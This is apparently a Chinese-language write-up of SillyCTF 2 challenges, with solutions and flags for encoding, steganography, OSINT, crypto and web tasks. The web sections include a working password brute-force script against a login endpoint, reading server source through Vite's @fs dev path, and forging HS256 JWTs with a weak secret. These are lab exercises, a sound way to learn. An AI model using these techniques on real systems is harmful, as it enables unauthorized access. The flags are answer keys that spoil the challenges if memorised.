SillyCTF2 wp
第二届sillyctf,感觉是非常的有趣啊(虽然没有学到太多东西)
Esoteric
Pibble
题目直接点页面里的第二张图就行了。首页只有一句 “sybau and wash pibble” 和两张可点击图片;点进去其中一张会打开 Untitled(1).png,图里直接写着 flag。
SillyCTF{w@$h_my_b3ll@y}
Simple Ciphers
Base64,直接解码即可。
SillyCTF{wow_that_was_a_simple_way_to_encode_text}
Simple Ciphers 2
base16即可
sillyCTF{pretty_simple_cipher_I_think}
Brainrot Apocalypse
Quick Maths
神人题,让算9+10=?,这个题目虽然简单但是只有一次机会,需要加上flag的格式
SillyCTF{19}
Only in Ohio
这个 txt 看起来是字符画,但最后两行混着一段 Brainfuck。把其中的 ><+-.,[] 提出来运行,输出就是 flag
sillyCTF{toilet_in_ohio}
Six to the Seven
215 张 slide 都几乎没文本,更像是用图片位置、层级、旋转、尺寸在编码。
解压 627.zip,里面是一个 sixtotheseven.pptx
把 pptx 当 zip 解开后看 ppt/slides/slide*.xml
每张 slide 只放了 3 种图片之一:
image2.png:图里是 6image3.png:图里是 7image4.jpg:空白分隔
观察到 image4.jpg 每隔 9 张出现一次,所以就是:
- 前 8 张 = 一组二进制
- 第 9 张 = 分隔符
把每组里:
6 -> 07 -> 1
每 8 位转 ASCII,直接得到:
sillyCTF{haha_six_seven}
Sussiest Challenge
按“脑腐 / meme 角色设定”去查,Amogus Wiki 的角色页直接写了 Birthday: January 1st。页面正文第 263–265 行明确标注了生日是 January 1st,搜索摘要也一致显示为 January 1st
https://amogus.fandom.com/wiki/Amogus
sillyCTF{january_1}
Hit Me
题目给了一个在线 blackjack 站点,题面说要“赌博赚到 flag”,还特意写了:
Please disable all adblockers一开始看起来像是要研究广告逻辑、赌桌逻辑或者买 flag 的余额判断,但实际解法不是正常打牌,而是开发环境源码泄露。
先打开页面控制台,查看加载的脚本:
[...document.scripts].map(s => s.src || '(inline)')可以看到页面不是打包后的生产环境,而是直接跑在 Vite 开发模式 下:
[
'(inline)',
'https://snowbet.sillyctf.psuccso.org/@vite/client',
'https://snowbet.sillyctf.psuccso.org/src/main.tsx'
]这一步很关键,说明前端源码大概率可以直接读。
接着直接抓前端源码:
await fetch('/src/main.tsx').then(r => r.text())
await fetch('/src/App.tsx').then(r => r.text())
await fetch('/src/components/AuthForm.tsx').then(r => r.text())
await fetch('/src/components/BlackjackGame.tsx').then(r => r.text())
await fetch('/src/components/Shop.tsx').then(r => r.text())
await fetch('/src/api/client.ts').then(r => r.text())从 client.ts 可以直接看到后端 API:
const API_URL = import.meta.env.VITE_API_URL + "/api";
VITE_API_URL = "https://snowbet-backend.sillyctf.psuccso.org"同时还能看到所有关键接口:
/api/register
/api/login
/api/me
/api/game/start
/api/game/hit
/api/game/stand
/api/shop/flag-status
/api/shop/buy-flag以及一个很奇怪的日志:
console.log("SERVER VERSION: FLAG ROUTE SHOULD EXIST");说明开发环境痕迹非常重。
再看 Shop.tsx,可以确认购买 flag 的前端逻辑非常简单:
- 余额到
$10000才能点按钮 - 点击后只会调用:
buyFlag() -> POST /api/shop/buy-flag也就是说,广告提示其实是烟雾弹,真正关键点不在广告系统。
后面继续分析认证逻辑时,发现 token 是 HS256 JWT,payload 里只有:
{"userId":1796,"iat":...,"exp":...}再结合后端代码,最终确认密钥是:
const JWT_SECRET = 'admin';所以理论上可以伪造任意用户的 token。
不过这条线虽然能用来枚举用户,并不是最短解。因为更大的洞已经出现了:服务端源码也暴露了。
在继续探测时,页面直接弹出了一个 Vite overlay 报错:
Failed to resolve import "better-sqlite3" from "server/database.js"这里暴露出两个重要信息:
- 前端 dev server 能接触到
server/目录 - 服务端项目路径里存在
/app/server/...
于是直接尝试读取服务端源码。
我使用的方式是通过 Vite 的 @fs 机制去访问真实文件:
async function rawFile(path) {
const tries = [
`${path}?raw`,
`/@fs//app${path}?raw`,
];
for (const u of tries) {
try {
const mod = await import(/* @vite-ignore */ u);
console.log(`\n===== ${u} =====\n`);
console.log(mod.default);
return mod.default;
} catch (e) {
console.warn('failed:', u, e);
}
}
return null;
}然后读取:
await rawFile('/server/server.js');成功返回了完整后端源码。
在返回的 server.js 里,可以直接看到 /api/shop/buy-flag 的实现:
app.post('/api/shop/buy-flag', authenticateToken, (req, res) => {
const user = getUserById(req.userId);
const FLAG = 'sillyCTF{brainrot_god}';
const FLAG_PRICE = 10000;
if (hasPurchasedFlag(req.userId)) {
return res.status(400).json({ error: 'You have already purchased the flag' });
}
if (user.balance < FLAG_PRICE) {
return res.status(400).json({ error: `Insufficient balance. Need $${FLAG_PRICE}, have $${user.balance}` });
}
const newBalance = user.balance - FLAG_PRICE;
updateBalance(req.userId, newBalance);
purchaseFlag(req.userId);
res.json({
flag: FLAG,
newBalance,
message: 'Congratulations! Here is your flag!'
});
});其中最关键的一句就是:
const FLAG = 'sillyCTF{brainrot_god}';sillyCTF{brainrot_god}
Coding Korner
The End of Linux
题目给了一个站点,主页文案大概是:
WAITING FOR THE INEVITABLEIt Hasn't happened yet. Keep waiting...
再结合题目名 The End of Linux 和提示 Y2K all over again...,很容易让人想到“时间问题”。
一开始最自然的联想是:
- Unix 时间戳
- 2038 年问题
- 32 位
time_t溢出
也就是经典的 Y2038:当有符号 32 位整数保存 Unix 时间时,最大值是 2147483647,再往后就会溢出。
所以这题的核心思路就是:这个站点很可能在判断“某个时间点是否到来”,我们需要伪造时间戳来触发特殊逻辑。
先打开开发者工具,观察页面行为。
最开始尝试直接改前端时间:
Date.now = () => 2147483648000;但点按钮后没有直接拿到结果,说明页面不是单纯前端判断,而是把时间发给后端做校验。
接着 hook fetch:
const oldFetch = window.fetch;
window.fetch = async (...args) => {
console.log(args);
return oldFetch(...args);
};然后点击页面上的按钮,抓到请求:
['/api/status', {
method: 'POST',
headers: {...},
body: '{"timestamp":1775311530}'
}]这一步就很关键了,说明页面会向后端发送一个 JSON,请求体里有一个 timestamp 字段。
也就是说,真正该打的是:
- 不是改界面显示
- 不是改浏览器本地时间
- 而是直接伪造
/api/status的timestamp参数
既然题目在玩时间梗,就直接把 timestamp 改成 32 位有符号整型溢出边界之后的值:
2147483648在控制台直接发包:
fetch('/api/status', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ timestamp: 2147483648 })
})
.then(r => r.text())
.then(console.log)返回:
{
"details":"Oh wait... this is a 64-bit server. It only applies to signed 32-bit integers.",
"flag":"sillyctf{maybe_n0t_the_3nd}",
"message":"SYSTEM OVERFLOW DETECTED",
"status":"OVERFLOW"
}成功拿到 flag:sillyctf{maybe_n0t_the_3nd}
Coding Horror
源代码里面发现了密码表
根据规则可知:用户名固定填 admin。
每个密码要试两次,或者先随便输一个错密码消耗“第一次尝试”,再跑字典。
一旦第二次命中正确密码,服务端就会返回 success 和 flag。
exp:
const passwords = [
"password",
"123456",
"admin123",
"letmein",
"welcome",
"monkey",
"qwerty123",
"dragon",
"master",
"trustno1",
"abc123",
"password1",
"sup3r_s3cur3_p@ssw0rd",
"iloveyou",
"princess",
"rockyou",
"shadow",
"sunshine",
"12345678",
"football",
"starwars",
"whatever"
];
(async () => {
const username = "admin";
for (const pwd of passwords) {
for (let i = 1; i <= 2; i++) {
const res = await fetch("/login", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ username, password: pwd })
});
const data = await res.json();
console.log(`[${i}]`, pwd, data);
if (data.success) {
console.log("FOUND PASSWORD:", pwd);
console.log("FLAG:", data.flag);
return;
}
}
}
console.log("No hit in banned list.");
})();sillyCTF{th3_w0rst_bru73f0rc3_pr0t3ct10n_3v3r}
Are You Entertained
Hidden Mickey
这张图里是一个水族箱底部用石头摆出来的 Hidden Mickey。AllEars 在讲 EPCOT 的 The Seas with Nemo & Friends 时,明确提到过“aquarium 地板上由小石头组成的大号经典米奇”,位置就在观景区上层附近;而迪士尼官方页面也说明这个 ride 结束后会进入 SeaBase 的大型水族馆区域。两者和你图里的场景完全对上了。
sillyCTF{the_seas_with_nemo_&_friends}
South Park
Cartman's Business Venture
.docx本质上是个 zip,再次解压- 查看里面的
customXml/item1.xml - 在 XML 注释里能看到一串 Base64:
c2lsbHlDVEZ7Y2FydG1hbl9ob21ld29ya19zb2x1dGlvbnN9解码后得到:SillyCTF{cartman_homework_solutions}
Krazy Crypto
Excellent Crypto Challenge
题的核心点很简单:R = kG 里的随机数 k 太小了,可以直接暴力。
k = 247439- 共享点
S = kQ = (2199468938808738143, 791263125865558851)
然后取 S.x,做:
key = sha256(str(S[0]).encode()).digest()再异或解密:
cipher_1 -> b'Approved transaction'cipher_2 -> b"sillyCTF{Can't_Be_Reusing_NONCE}"
可直接跑的 exp:
import hashlib
p = 2305843009213693951
a = 2
G = (5, 1)
Q = (1896662826602979990, 1425560687073180440)
R = (320761691192926716, 300507216662097367)
cipher_1 = bytes.fromhex("dcb9e7887358f88e5ba5c366b459f93889ed77a6")
cipher_2 = bytes.fromhex("eea0fb96656dc9ac0092d069fd5ec71998db4aad60764fedf3b75511ea34e151")
def inv(x):
return pow(x, p - 2, p)
def ec_add(P, Q):
if P is None:
return Q
if Q is None:
return P
x1, y1 = P
x2, y2 = Q
if x1 == x2 and (y1 + y2) % p == 0:
return None
if P == Q:
lam = ((3 * x1 * x1 + a) * inv((2 * y1) % p)) % p
else:
lam = ((y2 - y1) * inv((x2 - x1) % p)) % p
x3 = (lam * lam - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p
return (x3, y3)
def ec_mul(n, P):
R0 = None
Q0 = P
while n:
if n & 1:
R0 = ec_add(R0, Q0)
Q0 = ec_add(Q0, Q0)
n >>= 1
return R0
# brute-force small nonce k from R = kG
cur = None
k = None
for i in range(1, 1_000_000):
cur = ec_add(cur, G)
if cur == R:
k = i
break
print("[+] k =", k)
S = ec_mul(k, Q)
print("[+] shared point =", S)
key = hashlib.sha256(str(S[0]).encode()).digest()
pt1 = bytes(c ^ key[i] for i, c in enumerate(cipher_1))
pt2 = bytes(c ^ key[i] for i, c in enumerate(cipher_2))
print("[+] pt1 =", pt1)
print("[+] pt2 =", pt2.decode())SillyCTF{Can't_Be_Reusing_NONCE}
Really Small Adversity
公钥里的模数是:
n = 0xFFFFFFFFFFFE5FFFFFFFFFFC25分解可得:
p = 4503599627370449`
`q = 4503599627370517然后按 RSA 正常求:
φ(n) = (p-1)(q-1)`
`d = e^-1 mod φ(n)`,其中 `e = 65537再计算:
m = c^d mod n得到明文:
R$A_FunNy_HA!所以 flag 是:sillyCTF{R$A_FunNy_HA!}
Can't have a salad without Lattice
一开始看这个 .cdf 会觉得是 Wolfram 的 3D 图形题,但这题真正有用的东西不在图里,而是在 文件末尾的注释。
把 lattice.cdf 当文本打开,末尾能看到:
- 一段密文:
flag_enc = eVxqWrw1CbpuaDrQbREuBH3wWB8rgsNBDaPccxa4DvInlG5TfCYf5oyKhFPOLOtz- 43 组数据:
(* Block 0: *)
(* u = [3310, 3307, 15] *)
(* v = [8, 1274, 1366] *)
...先看这些数的范围,全部都在 0 ~ 3328 之间,所以模数很明显是:
q = 3329这正好也是 Kyber 里很经典的那个模数,所以题目确实是在玩一个 toy lattice / toy post-quantum 风格的加密。
再看所有 u,会发现 43 组里其实只循环出现 5 种固定的 u:
[3310, 3307, 15]
[3294, 3305, 39]
[3278, 3303, 63]
[3297, 37, 67]
[17, 15, 56]然后对于每一种固定的 u,对应的 v 的每个坐标都只会取 两个值。
例如第一种 u = [3310,3307,15] 时:
- 第 1 维只会是
8或1672 - 第 2 维只会是
1274或2939 - 第 3 维只会是
1366或3031
这说明:每个坐标其实只携带 1 bit 信息。
由于
q = 3329
(q + 1) // 2 = 1665继续观察这些成对的值,会发现它们满足:
a + 1665 (mod 3329) = b例如:
1274 + 1665 = 29391366 + 1665 = 30311672 + 1665 = 3337 ≡ 8 (mod 3329)
也就是说,每个坐标其实是在两个状态之间切换:
base
base + 1665 mod 3329这就是一个非常典型的“用 q/2 偏移编码 bit”的做法。
不能直接用“数值大的是 1,小的是 0”去解。
因为模运算会回绕,比如:
1672 + 1665 ≡ 8 mod 3329这里反而是小数值 8 才是“加了偏移以后”的那个状态。
所以正确做法是:
- 对每个固定
u、每个坐标,先找出那两个可能值x, y - 判断谁满足:
(base + 1665) % 3329 == other- 这样就能确定哪个是 base,哪个是 shifted
- 本题里实际 bit 规则是:
值 == base -> bit 1
值 == shifted -> bit 0总共有 43 个 block,每个 block 3 个坐标,所以总共能提取:
43 * 3 = 129 bit前 128 bit 正好组成一个 AES key,最后 1 bit 是多出来的填充位,直接丢掉。
还原出来的 key 是:
encryptionkey123flag_enc 是一段 Base64。
先解码:
data = base64.b64decode(flag_enc)长度是 48 字节:
- 前 16 字节:IV
- 后 32 字节:AES-CBC 密文
所以直接用刚才恢复出来的 key 做 AES-CBC 解密即可。
exp
import re
import base64
from pathlib import Path
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
q = 3329
HALF = (q + 1) // 2 # 1665
path = Path("lattice.cdf")
text = path.read_text(encoding="latin1")
# 取出 flag_enc
m = re.search(r"\(\* flag_enc = ([A-Za-z0-9+/=]+) \*\)", text)
flag_enc = m.group(1)
# 取出所有 block
pat = re.compile(
r"\(\* Block (\d+): \*\)\s*"
r"\(\* u = \[(.*?)\] \*\)\s*"
r"\(\* v = \[(.*?)\] \*\)",
re.S
)
blocks = []
for num, u, v in pat.findall(text):
u = tuple(int(x.strip()) for x in u.split(","))
v = tuple(int(x.strip()) for x in v.split(","))
blocks.append((int(num), u, v))
# 按 u 分类,找每个坐标的两个可能值
by_u = {}
for _, u, v in blocks:
by_u.setdefault(u, [set(), set(), set()])
for i in range(3):
by_u[u][i].add(v[i])
# 对每个 (u, 坐标) 确定 base 和 shifted
# 条件: (base + 1665) % 3329 == shifted
mapping = {}
for u, cols in by_u.items():
mapping[u] = []
for s in cols:
vals = list(s)
if len(vals) != 2:
raise ValueError(f"unexpected number of values for {u}: {vals}")
a, b = vals[0], vals[1]
if (a + HALF) % q == b:
base, shifted = a, b
elif (b + HALF) % q == a:
base, shifted = b, a
else:
raise ValueError(f"not a q/2 pair: {u}, {vals}")
mapping[u].append((base, shifted))
# 提取 bit
bits = []
for _, u, v in blocks:
for i in range(3):
base, shifted = mapping[u][i]
if v[i] == base:
bits.append(1)
elif v[i] == shifted:
bits.append(0)
else:
raise ValueError("value not in mapping")
# 前 128 bit 组成 AES key
bits = bits[:128]
key = bytes(int("".join(map(str, bits[i:i+8])), 2) for i in range(0, 128, 8))
print("key =", key)
# 解密 flag_enc
data = base64.b64decode(flag_enc)
iv = data[:16]
ct = data[16:]
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
pt = decryptor.update(ct) + decryptor.finalize()
# 去掉 PKCS#7 padding
pad = pt[-1]
pt = pt[:-pad]
print("flag =", pt.decode())
'''key = b'encryptionkey123'
flag = sillyCTF{P0st_Qu@ntum_FunTime}'''Welcome to SillyCTF 2
Hello Silly World
签到题
sillyCTF{welcome_to_silly_ctf_2!}
CREATE A MEME!
发一张猫meme图片即可
sillyCTF{Mememememmememememememmememememem67}
Listen Up
Musical Genius
给了个wav文件
看频谱图发现flag
bash -lc python - <<'PY'
import numpy as np, wave, contextlib
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
p='/mnt/data/groovy/Groovy_Beat.wav'
with contextlib.closing(wave.open(p,'rb')) as w:
fr=w.getframerate(); nf=w.getnframes(); ch=w.getnchannels(); data=w.readframes(nf)
arr=np.frombuffer(data,dtype='<i2').reshape(-1,ch)
for i,name in enumerate(['L','R']):
plt.figure(figsize=(18,6))
Pxx, freqs, bins, im = plt.specgram(arr[:,i], Fs=fr, NFFT=2048, noverlap=1800)
plt.ylim(0,3500)
plt.xlim(0,5)
plt.xlabel('Time (s)'); plt.ylabel('Freq (Hz)'); plt.title(f'{name} zoom')
plt.colorbar()
plt.tight_layout()
plt.savefig(f'/mnt/data/{name}_zoom.png', dpi=300)
plt.close()
PYsillyCTF{A_horrible_beat}
